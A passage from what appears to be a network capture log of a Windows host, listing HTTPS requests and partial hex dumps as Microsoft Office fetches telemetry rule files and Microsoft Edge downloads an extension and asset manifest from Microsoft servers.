2024-11-17 09:07:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090737Z-16547b76f7f5b5tthC1DFWuk8400000002m000000000g0cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:37 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b85c485e-e01e-00aa-4976-36ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090737Z-164f84587bflm48hhC1DFW0nf800000000u0000000007erq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090737Z-16547b76f7f64d6whC1DFWf9vn00000002kg00000000ekwu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090737Z-16547b76f7f9s8x7hC1DFWywrg00000003yg000000001v9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:37 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:38 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 9564d138-601e-0084-5287-366b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090738Z-164f84587bf9nk94hC1DFWerbg000000034000000000615u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:38 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090738Z-1866b5c5fbbx98hfhC1DFWuqmg00000002w00000000043v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:38 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090738Z-16547b76f7fkz9l7hC1DFW35uc000000016g000000003zmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:38 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090738Z-16547b76f7fqqjnnhC1DFWxv74000000028g00000000g70u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:38 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090738Z-16547b76f7fgfpmjhC1DFWw6ec00000003mg00000000215u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49927	23.218.232.182	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732439254&P2=404&P3=2&P4=V6ODrEH7G17r32%2fysXsPTkGWFwlTv6dqeS%2bfyK1WLQVSkUtlobQTdUAgUH4h%2fygXFWXqiVYMgYkaezTG949QMA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: TVz8Z7gGOfH7tXZ3t0hBps Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 09:07:39 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 426209cc-72a2-474d-85ac-a24280866d97 MS-RequestId: a049fac1-7179-481c-919b-83d5348982e5 MS-CV: laxU+n3Fun9/lW9dsiN4jy.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86342 Date: Sun, 17 Nov 2024 09:07:39 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.11,b=832554973,c=g,n=US_TX_IRVING,o=20940],[c=c,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.0b26c117.1731834459.319fc7dd Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-17 09:07:39 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49926	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 09:07:39 UTC	577	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T090739Z-16547b76f7fhv4d5hC1DFW7h0n00000002c000000000ccmu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:39 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
